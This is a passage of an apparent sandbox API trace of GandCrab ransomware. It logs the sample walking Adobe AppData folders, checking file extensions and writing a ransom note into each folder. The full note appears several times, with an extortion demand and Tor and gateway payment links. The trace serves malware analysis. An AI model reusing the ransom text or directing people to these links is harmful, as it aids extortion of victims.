flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.618] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\\\GDCB-DECRYPT.txt") returned 76 [0169.618] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4dc [0169.619] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0169.619] WriteFile (in: hFile=0x4dc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285effc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285effc*=0xad6, lpOverlapped=0x0) returned 1 [0169.619] CloseHandle (hObject=0x4dc) returned 1 [0169.619] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.620] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\") returned 59 [0169.620] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\*" [0169.620] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\*", lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0x5a4dd8 [0169.620] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.620] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0169.620] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.620] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.620] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0169.620] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.620] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.620] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat" [0169.620] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\" [0169.620] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.620] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.620] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.620] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.620] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.620] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.620] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\") returned 67 [0169.620] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\*" [0169.620] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5a4b58 [0169.620] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.620] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.621] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.621] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.621] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.621] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.621] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.621] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC" [0169.621] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC") returned 69 [0169.621] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0169.621] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.621] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.621] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt") returned 84 [0169.621] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0169.621] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0169.621] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0169.622] CloseHandle (hObject=0x4e0) returned 1 [0169.622] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.622] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\") returned 67 [0169.622] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\*" [0169.622] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5a4d18 [0169.622] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.622] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.622] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.622] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.623] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.623] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.623] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.623] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC" [0169.623] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\" [0169.623] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.623] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.623] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.623] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.623] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.623] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.623] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\") returned 70 [0169.623] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\*" [0169.623] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5a5018 [0169.623] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.623] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.624] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.624] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.624] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.624] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0169.624] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0169.624] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0169.624] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 88 [0169.624] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.624] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.624] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0169.624] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0169.624] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0169.624] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 88 [0169.624] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.624] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.624] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0169.624] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0169.624] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0169.624] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 87 [0169.624] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.624] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.624] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0169.624] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0169.624] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0169.624] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 87 [0169.624] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.624] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.624] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.624] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.624] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache" [0169.624] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache") returned 75 [0169.624] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.624] lstrcmpW (lpString1="IconCacheRdr.dat", lpString2=".") returned 1 [0169.624] lstrcmpW (lpString1="IconCacheRdr.dat", lpString2="..") returned 1 [0169.624] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" [0169.624] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat") returned 86 [0169.624] lstrcmpW (lpString1=".dat", lpString2=".sql") returned -1 [0169.624] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.624] lstrcmpW (lpString1="IconCacheRdr65536.dat", lpString2=".") returned 1 [0169.624] lstrcmpW (lpString1="IconCacheRdr65536.dat", lpString2="..") returned 1 [0169.624] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" [0169.624] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat") returned 91 [0169.624] lstrcmpW (lpString1=".dat", lpString2=".sql") returned -1 [0169.624] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.624] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0169.624] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0169.624] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0169.624] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 86 [0169.625] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.625] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0169.625] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0169.625] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0169.625] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned 89 [0169.625] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.625] lstrcmpW (lpString1="UserCache.bin", lpString2=".") returned 1 [0169.625] lstrcmpW (lpString1="UserCache.bin", lpString2="..") returned 1 [0169.625] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" [0169.625] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin") returned 83 [0169.625] lstrcmpW (lpString1=".bin", lpString2=".sql") returned -1 [0169.625] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0169.625] FindClose (in: hFindFile=0x5a5018 | out: hFindFile=0x5a5018) returned 1 [0169.625] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.625] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt") returned 87 [0169.625] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0169.628] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0169.628] WriteFile (in: hFile=0x4e4, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0169.629] CloseHandle (hObject=0x4e4) returned 1 [0169.629] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.629] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\") returned 70 [0169.629] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\*" [0169.629] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5a4e58 [0169.629] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.629] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.629] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.629] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.629] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.630] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0169.630] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0169.630] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0169.630] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.630] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 88 [0169.630] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 88 [0169.630] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.630] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.630] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") 